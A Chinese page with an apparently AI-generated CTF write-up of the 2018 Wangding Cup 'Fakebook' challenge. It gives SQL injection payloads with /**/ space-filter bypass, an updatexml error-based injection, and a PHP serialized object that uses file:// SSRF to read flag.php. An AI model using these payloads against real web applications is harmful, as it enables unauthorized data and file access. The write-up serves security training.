fakebook
时间: 2025-04-14 19:21:19 AIGC 浏览: 97
<think>好的,用户提到Fakebook,看起来可能与CTF题目有关,特别是网鼎杯2018的题目。用户引用了多个涉及SQL注入、PHP反序列化和SSRF的内容。首先,我需要整理这些引用中的关键点。
首先,引用[2]和[3]指出存在SQL注入点,使用union select进行注入,并且过滤了空格,需要用/**/代替。然后,通过构造特定的Payload,利用PHP反序列化漏洞,将UserInfo对象的blog属性设置为file://协议,触发SSRF读取服务器上的flag.php文件。引用[5]中的Payload示例进一步验证了这个方法。
用户可能在询问如何解决这个CTF题目,或者想了解相关的漏洞利用方法。需要分步骤解释漏洞的发现和利用过程,包括如何确定注入点、绕过过滤、构造Payload以及结合反序列化和SSRF获取flag。同时,根据用户提供的引用,确保回答的准确性,并正确标注引用来源。
最后,生成的相关问题需要围绕SQL注入、反序列化、SSRF以及该题目的其他可能解法,帮助用户深入理解每个步骤的原理和相关技术。</think>### Fakebook漏洞分析与利用(网鼎杯2018)
根据提供的参考资料,该题目主要涉及SQL注入、PHP反序列化、SSRF(服务端请求伪造)的综合利用,以下是关键分析步骤:
---
#### 1. **漏洞发现**
- **注入点定位**:通过参数`?no=1`发现存在数字型SQL注入,使用`?no=0++order++by++4--+`确认字段数为4[^2]
- **过滤绕过**:对空格进行过滤,可用`/**/`或`++`代替,如`union/**/select`构造注入语句[^3]
---
#### 2. **漏洞利用**
**Step 1 - 报错注入验证**
```sql
?no=0/**/union/**/select+updatexml(1,concat(0x7e,database()),1),2,3,4--+
```
通过报错信息可获取数据库名`fakebook`[^3]
**Step 2 - 联合查询构造**
```sql
?no=-1/**/union/**/select+1,2,3,4--+
```
确认回显位置后,替换有效字段为数据查询结果[^5]
**Step 3 - 反序列化+SSRF**
构造包含`file://`协议的PHP序列化对象:
```php
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
```
通过SQL注入将该对象写入查询结果:
```sql
?no=-1/**/union/**/select+1,2,3,'<序列化字符串>'--+
```
触发反序列化后,`blog`属性会通过`file://`协议读取服务器本地的flag.php文件
---
#### 3. **技术原理**
- **SQL注入**:利用`UNION SELECT`合并恶意查询结果
- **PHP反序列化**:`UserInfo`类实例化时自动加载`blog`属性
- **SSRF**:`file://`协议绕过网络限制访问本地文件[^4]
---
阅读全文
相关推荐














